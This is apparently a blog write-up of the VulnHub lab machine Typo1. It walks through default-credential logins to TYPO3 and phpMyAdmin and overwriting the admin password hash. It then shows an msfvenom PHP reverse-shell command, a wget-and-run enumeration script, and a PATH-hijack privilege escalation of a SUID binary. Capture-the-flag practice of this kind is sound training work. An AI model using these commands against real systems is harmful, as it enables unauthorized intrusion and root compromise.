After a long break, Typo1 is my first vulnhub machine. It feels fantastic to be back in the game. Typo1 is a relatively simple yet rewarding sandbox. I learned a lot of things from this cool machine, developed by Akanksha Sachin Verma.

Level: Beginner

Typo supports DHCP and shows it’s IP address on bootup, which saves the trouble of running arp-scan or netdiscover. You may optionally configure DNS name for Typo as I did, by making an entry on /etc/hosts file.

Enumeration

As the usual ritual, I fired nmap on default ports followed by scan on all ports. Typo has several HTTP services exposed, which is interesting to note.

I decided to enumerate the HTTP services one by one, using dirb and nikto. Dirb gave some interesting results as summarized below:

+-----------+--------------------------------+
|   PORT    |          Observation           |
+-----------+--------------------------------+
| 80/HTTP   | Found an instance of Typo3 CMS |
| 8000/HTTP | Found Nothing                  |
| 8080/HTTP | Found a PHPinfo page           |
| 8081/HTTP | Found PHPMyAdmin instance      |
+-----------+--------------------------------+

Typo3 CMS instance was identified on port 80

PHPMyAdmin page was identified on port 8081

I tried few password combinations on the Typo3 admin console and I got access into the CMS as an user with the credentials(user:user). But there was hardly anything to do or find from the user role. My attempts to break into admin role with similar methods were not fruitful.

User role has limited access and cannot upload files or change settings

Knowing that I have hit a dead end, I turned to the PHPMyAdmin page and with luck, I got into PHPMyAdmin as root with credentials root:root.

Logged into PHPMyAdmin with root account

The Winner Hash and How I cheated it

Once you are inside the PHPMyAdmin, the usual loot one might look for is the password hashes, which you can get from the database. In the database TYPO3, the be_users table had what I was looking for, in an unexpected form.

$argon2id$v=19$m=65536,t=16,p=2$Q2E3NG1YeTE5NkkxSi5hMg$Hn5lqwQnbYjlnZMPahFHjEWhCDwOcbDKjg3RrTfrVuE

Behold Argon2! The winner hash of the Password Hashing Competition. I read about how secure and robust the algorithm is against typical password cracking attacks. As I couldn’t find any tools supporting the algorithm, I wrote a script to crack argon2 hashes. Only to find how impractical argon2 cracking is.

Get Dot Dot Slash’s stories in your inbox

Join Medium for free to get updates from this writer.

As I already knew the password for user account, I replaced admin’s hashes with those of user account. It might sound a little unfair, but it worked. Finally I got the application access as admin and had access to all functionalities.

Replace admin hashes with the hash of user, whose password is known to us

Getting around the extension deny-list and getting the first compromise

I have an unusual passion for over-complicating things. I wasted a good number of hours, figuring out how to write a TYPO3 extension, which is malicious and can get you backdoor access. After several wasted hours, I dropped that idea and decided to upload PHP reverse shell file to the CMS.

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.103 LPORT=8443 -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

Creating PHP shell from metasploit framework

However I got an application error as ”Filename shell.php is not allowed”. This usually happens when certain extensions are blocked through a deny-list. Browsing through various settings, I found the deny-list on [BE][fileDenyPattern] option in Settings>Configure Installation-Wide Options. Clearing the deny list was enough to help me upload the PHP shell and obtain a reverse connection.

PHP files are not allowed to be uploaded

fileDenyPattern can be cleared to remove the deny-list

Press enter or click to view image in full size

File was uploaded to portal and then invoked using curl

Rooting the Box

Rooting was box was trivial. I ran the linux-smart-enumeration script on the obtained shell to enumerate the target configuration.

wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh;chmod +x lse.sh
./lse.sh -l1

Script found two uncommon binaries with SUID & SGID permissions set in the /usr/local/bin folder. These could be custom binaries and might have some vulnerabilities.

apache2-restart and phpunit are SUID files owned by root

Strings analysis was done on phpunit and apache2-restart files, to find that apache2-restart could be a C/C++ binary and phpunit is a PHP script. apache2-restart was particularly interesting, as it seemed to make a call “service apache2 start”, potentially to restart the apache service.

cd /usr/local/bin
strings phpunit > /var/www/html/typo3/fileadmin/user_upload/phpunit.txt
strings apache2-restart > /var/www/html/typo3/fileadmin/user_upload/apache.txt

apache2-restart makes call to service command

It is a big mistake and a common privilege escalation method, when developers use relative command names instead of absolute full path. Here all we need to do is to create our own version of the service command in /tmp folder and add that path to the PATH variable. Then call apache2-restart, which will start our malicious version with root privileges.

cd /tmp
echo '/bin/bash' > service #create the malicious file to invoke bash
chmod +x service           #give execute rights
export PATH=/tmp:$PATH     #add the path to the PATH variable
apache2-restart            #run the vulnerable binary

Proof.txt can be found on /root/proof.txt

Afterthoughts